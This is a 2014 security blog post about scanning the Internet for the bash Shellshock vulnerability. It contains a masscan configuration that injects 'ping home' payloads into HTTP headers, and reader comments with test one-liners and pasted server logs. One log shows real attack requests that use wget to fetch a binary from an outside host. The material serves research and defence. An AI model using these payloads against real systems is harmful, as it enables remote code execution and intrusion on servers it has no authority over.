Wednesday, September 24, 2014

Bash 'shellshock' scan of the Internet

NOTE: malware is now using this as their User-agent. I haven't run a scan now for over two days.

I'm running a scan right now of the Internet to test for the recent bash vulnerability, to see how widespread this is. My scan works by stuffing a bunch of "ping home" commands in various CGI variables. It's coming from IP address 209.126.230.72.

The configuration file for masscan looks something like:

target-ip = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74
http-header[Host] = () { :; }; ping -c 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 3 209.126.230.74

(Actually, these last three options don't quite work due to bug, so you have to manually add them to the code https://github.com/robertdavidgraham/masscan/blob/master/src/proto-http.c#L120)

Some earlier shows that this bug is widespread:
A discussion of the results is at the next blogpost here. The upshot is this: while this scan found only a few thousand systems (because it's intentionally limited), it looks like the potential for a worm is high.


58 comments:

  1. Just got scanned by your scanner ;)

    ReplyDelete
  2. Anonymous4:51 PM

    Just got a notification because of your bot.

    ReplyDelete
  3. A lot of those IP addresses you blocked out are pretty easy to read. Just sayin'

    ReplyDelete
  4. Roman, how might someone set up notifications like that?

    ReplyDelete
  5. Got a notification too :)

    ReplyDelete
  6. >> This works by stuffing a bunch of "ping home" commands in various CGI variables.
    Please, give us more details on this and write a follow up to this post.

    ReplyDelete
  7. Can you give some more information on your test and what you're looking for? I tried this on a fresh ubuntu system with apache2 installed, vulnerable, nothing. Updated to get a view of what a clean image looks like. Also ran it against Metasploitable.

    I know the majority of systems won't respond as vulnerable (as you mentioned in your wormable post). Do you have anything about the proper setup for a system that would report vulnerable so I can get an eye on what to look for?

    Thanks for the coverage on this.

    ReplyDelete
  8. You just triggered our IPS!

    Close, but no cigar.

    ReplyDelete
  9. Got this error:

    PHP Fatal error: Uncaught exception 'UnexpectedValueException' with message 'Invalid Host "() { :; }; ping -c 23 209.126.230.74"'

    Not sure if that means the server is vulnerable or not. Thank you for doing this, somehow the news didn't reach me. For those wanting more info:

    http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/

    http://seclists.org/oss-sec/2014/q3/650

    ReplyDelete
  10. Scanned over here =P

    ReplyDelete
  11. my site just got scanned

    ReplyDelete
  12. Got scanned.

    I advise you to rerun the scan, because on typical Django installations all you get is:

    SuspiciousOperation: Invalid HTTP_HOST header (you may need to set ALLOWED_HOSTS): () { :; }; ping -c 23 209.126.230.74

    i.e. it did not even hit my code.

    ReplyDelete
  13. For those saying that their PHP code detected the invalid host header... know that it doesn't matter, the exploitation happens higher in the chain of calls. In most CGI uses of PHP, you are still vulnerable.

    ReplyDelete
  14. Well the first ip is just 2[00-23].3.219.23 and the last one is 2[0-2]4.3.219.33

    ReplyDelete
  15. You’ve already scanned all four of my private servers in three pretty different subnets. Impressive. They’re all patched now of course.

    I also got this scan:
    89.207.135.125 - - [2014-09-25 xx:xx:xx+0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

    ReplyDelete
  16. Anonymous6:46 AM

    Some people see scans with the same info but from a different IP address. Since the second scan is more dangerous, I suspect they are masquerading as you: http://seenthis.net/messages/296476#message296546

    ReplyDelete
  17. When is the internetsurvey site going to come out?

    Michael

    ReplyDelete
  18. Well, we were also scanned by you, but the IDS/IPS system blocked it. (snort is great, use it!)

    ReplyDelete
  19. Isn't this a tiny bit illegal? Certainly is here in the UK, anyway

    ReplyDelete
  20. Is this vulnerability limited to Bourne Again Shell (Bash) or its impacting Bourne shell (sh) as well?

    Is freeBSD also impacted

    ReplyDelete
  21. Would rails/nginx be vulnerable to CGI attacks?

    ReplyDelete
  22. how will this affect hosted sites such as hostgator?

    What can users do with the provide settings? I run a couple of sites with php and mysql, but don't know how i can test the hoster for vulnerability

    ReplyDelete
  23. Does this end up running as the user of the process that spawned it. IE apache, named?

    ReplyDelete
  24. https://shellshock.detectify.com/

    ReplyDelete
  25. Also got poked by the scan :)

    ReplyDelete
  26. It seems one could also exploit this vulnerability through the PATHINFO environment variable.

    ReplyDelete
  27. Both my sites got hit by your scan: one on a residential ISP and the other on a DigitalOcean droplet.

    One was a ruby app, the other is a static page, both behind Nginx servers.

    Guess I'll have to set up some intrusion monitoring; but I patched my bash yesterday so here's hoping I didn't return the ping.

    ReplyDelete
  28. Anonymous3:52 PM

    Got scanned too, cheers for including a url :)
    Anyone knows who is scanning from 89.207.135.125?

    ReplyDelete
  29. Arthur, I am getting scanned by them too. It is a machine hosted at snel.com (send email with logs to report@abuse.bz) in the netherlands, but it is sending pings to a rackspace server in the US (texas). It is unclear who is running the attack.

    I have also had attempted exploits from pwn.nixon-security.se and others.

    ReplyDelete
  30. You hit my firewall about 10:23 last night.

    ReplyDelete
  31. Can someone just write a worm that updates peoples bash shells?

    ReplyDelete
  32. Saw your footprint in my server logs ;)

    ReplyDelete
  33. It seems irresponsible to publish IP addresses of vulnerable systems.

    ReplyDelete
  34. I tried to modify code of masscan but it didnt compile well. Can you please code updated with functions to simulate this test (what you have done in the post)?

    ReplyDelete
  35. I got scanned too! 25SEP2014 051051 and 071817 UTC +0800.

    ReplyDelete
  36. I am running ubuntu hardy, yeah I know its old, but ...

    bash --version
    GNU bash, version 3.2.39(1)-release (i486-pc-linux-gnu)
    Copyright (C) 2007 Free Software Foundation, Inc.
    mwest@lenovo2:~$ env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
    stuff

    Interesting, so not all bash versions up to 4.3 are vulnerable it would seem.

    ReplyDelete
  37. One Silly question:

    How can i scan any remote server for shellshock bug. Step by step guidance will be fine.

    I need to do it for ethical purposes.

    ReplyDelete
  38. Be careful - You have your public IP available on the internet with potentially a listing of vulnerable Shellshock systems.

    You might be the next target.

    ReplyDelete
  39. Got scanned by your scanner, but we were already patched, so you never saw our response.

    ReplyDelete
  40. You scanned me at 2014-09-25
    -5:41:55 UTC. Path was not applied at that time but:
    * only a redirect at that web request you made
    * outbound network activity is blocked.

    Patches applied now.

    ReplyDelete
  41. I would guess that you're going to see a log of vulnerable machines, since you started your scan the day the bug was announced. You scanned my servers about 12 hours before I patched them.

    ReplyDelete
  42. Does this exploit affect Window boxes that have Bash installed? i.e. CA Spectrum in a Windows Environment.

    Thanks

    ReplyDelete
  43. Regarding comments about earlier versions of Debian and Ubuntu, the example given used /bin/sh rather than /bin/bash.

    env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"

    Now try replace /bin/sh with /bin/bash

    On those distributions you'll find that by default /bin/sh is a symbolic link to dash, another shell which does not have the problem. This is helpful for CGI scripts that use #!/bin/sh but you'll still need to patch bash.

    For systems running older software distributions where a patch may not be available, the instructions at the following link on how to compile an updated and patched bash might be useful:

    https://gist.github.com/mattwhite/86de50d30134129e44ef

    ReplyDelete
  44. Hello,

    I don't understand how this exploit works when just hitting the root path of the server. My understanding is it requires a CGI script that is written or calls bash to be exploitable. Is this from broken http servers?

    ReplyDelete
  45. Very interesting. I can't get any tests to work with curl. I fired up a sample of your masscan and shiazm I can get hundreds of hosts to ping me. But I can't get a single one to report break when I test w/

    curl -i -X HEAD "http://$$$.$$$.$$$.$$$/" -A '() { :;}; echo "Warning: Server Vulnerable"'

    Any thoughts?

    ReplyDelete
  46. @all keep in mind that the user agent is completely arbitrary, anybody using the examples will use the URL from the blog post. We have seen the url in scans on some machines, but that doesn't mean that its really from the original script.

    @Chrstfer unless you have an IPS, the easiest way is to add something at the top of each php page (or what you are using) and match the header vars against the exploit string and log that (will not help for actual cgi exploits since it may happen before the script gets called)

    @zyphlar php is not directly exploitable since it doesn't set env vars and doesn't call bash, this is more likely a validation issue in your scripts

    @tillo that is not correct, CGI by itself is not exploitable and mod_php does not even use CGI

    @S whether it is illegal or not will not help you when your site goes down ...

    @Mrityunjay Ranjan bourne shell isn't (there is no bourne shell on linux or freebsd of course due to licensing), freebsd will usually have bash, but not as /bin/sh replacement

    @jah richie rails does not use CGI, so not directly, it may be due to other issues (unlikely)

    @SojuMaster the issue is present e.g. in cygwin, but unless you run a webserver, its unlikely that its exploitable

    @shawn updating bash requires root, the exploit will run as the local user (e.g. wwwrun)

    @Raoul Duke / might be a cgi script, but it usually isn't

    @Ryan Pavely accessing / path ist not likely to hit a CGI

    ReplyDelete
  47. Thanks Sean, re-hardy comment - you are correct

    ReplyDelete
  48. Thx @Alexnader for all the replies. I do understand that / is most likely not a CGI. But when I run masscan with the supplied config it finds hosts. I then picked one to test w/ curl and could not reproduce any of the same results.

    What is masscan doing different besides that curl is passing -A (user-agent).. ?

    ReplyDelete
  49. @Ryan actually masscan does not use User-Agent, rather it puts the malicious string into the Host, Referer and Cookies header, not sure if that should make a difference.

    ReplyDelete
  50. Well if you noticed, that is then able to exploit anything irregardless of CGI existence. A random test of a local pool of Akamai servers sent me lots of ICMP replies.

    So the question would be for CURL folks, how to replicate this.

    Very scary. Especially now since folks are realizing this is not just a remote access exploit. It can also be used with many setuid programs (like vmware) and such to gain root access.

    10 out of 10 my ass. I call this a 20.

    ReplyDelete
  51. If it is not working with curl, it should be possible to create a http request and send that with netcat. It will only work with CGI scripts unless anther web API also communicates with enviroment vars and runs a shell script afterwards, mod_php and similar things like tomcat will not do that. (I wonder why it happens with akamai, though)

    ReplyDelete
  52. I was scanned by your scanner back on the 24th.

    209.126.230.72 - - [24/Sep/2014:17:31:52 -0700] "GET / HTTP/1.0" 301 237 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

    At the time, I was using an old Debian Lenny web server. I replaced it with a wheezy based system yesterday. It hasn't been online for 24 hours yet and...

    194.54.9.11 - - [28/Sep/2014:19:07:14 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 301 525 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
    194.54.9.11 - - [28/Sep/2014:19:07:34 -0700] "GET /var/www/html/admin.cgi HTTP/1.1" 301 543 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
    194.54.9.11 - - [28/Sep/2014:19:07:54 -0700] "GET /tmUnblock.cgi HTTP/1.1" 301 499 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
    194.54.9.11 - - [28/Sep/2014:19:08:14 -0700] "GET /var/www/cgi-bin/test-cgi HTTP/1.1" 301 521 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
    194.54.9.11 - - [28/Sep/2014:19:08:34 -0700] "GET /cgi-bin/hello HTTP/1.1" 301 499 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
    194.54.9.11 - - [28/Sep/2014:19:08:54 -0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 523 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
    194.54.9.11 - - [28/Sep/2014:19:09:14 -0700] "GET /cgi-mod/index.cgi HTTP/1.1" 301 507 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
    194.54.9.11 - - [28/Sep/2014:19:09:34 -0700] "GET /cgi-bin/test.cgi HTTP/1.1" 301 505 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
    194.54.9.11 - - [28/Sep/2014:19:09:54 -0700] "GET /cgi-bin-sdb/printenv HTTP/1.1" 301 513 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""

    So thanks for the heads up! I didn't have mod_cgi enabled but it's only a matter of time regardless.

    ReplyDelete
  53. Do not do a playful thing!
    Very annoying!

    ReplyDelete
  54. Malware are really smart guys, they are now using something which looks more credible, :(

    Javin

    ReplyDelete
  55. This comment has been removed by a blog administrator.

    ReplyDelete
  56. This comment has been removed by a blog administrator.

    ReplyDelete
  57. This comment has been removed by a blog administrator.

    ReplyDelete
  58. This comment has been removed by a blog administrator.

    ReplyDelete

Note: Only a member of this blog may post a comment.